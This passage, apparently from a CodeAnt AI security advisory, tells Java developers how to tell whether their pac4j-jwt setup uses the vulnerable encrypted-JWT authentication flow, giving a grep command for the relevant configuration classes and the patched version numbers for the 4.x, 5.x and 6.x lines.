If you see org.pac4j:pac4j-jwt:6.0.3 (or anything below 6.3.3), you need to update. Same for 5.x below 5.7.9, or 4.x below 4.5.9.

Step 2: Check if you're using the vulnerable flow

You're affected if all of these are true:

  • You use JWE (encrypted JWTs), not just JWS

  • Encryption is RSA-based (e.g., RSAEncryptionConfiguration)

  • You configure both EncryptionConfiguration and SignatureConfiguration

  • You authenticate using JwtAuthenticator

Quick grep to check your codebase:

grep -rn -E "JwtAuthenticator|EncryptionConfiguration|SignatureConfiguration|RSAEncryptionConfiguration|RSASignatureConfiguration"

If that returns hits, read the results. If you see both an encryption config and a signature config being added to a JwtAuthenticator, you are running the vulnerable flow.

Step 3: Quick version check

See if you are affected

Enter your org.pac4j:pac4j-jwt version. You can find it in your pom.xml, build.gradle, or by running mvn dependency:tree.

Step 4: Update

  • 4.x → 4.5.9+

  • 5.x → 5.7.9+

  • 6.x → 6.3.3+

This research is part of an ongoing effort by CodeAnt AI Security Research to audit whether CVE patches in widely-used open-source packages actually fix the underlying vulnerability. We believe the open-source ecosystem deserves better tools, better auditing, and more support for the maintainers who keep it running. More findings will be published as patches ship and coordinated disclosure timelines are met.

If you are a maintainer and have been contacted by our team - thank you for your work. If you believe your package may be affected by a similar pattern, we'd love to help: securityresearch@codeant.ai

See if you are affected

Enter your org.pac4j:pac4j-jwt version. You can find it in your pom.xml, build.gradle, or by running mvn dependency:tree.

Table of Contents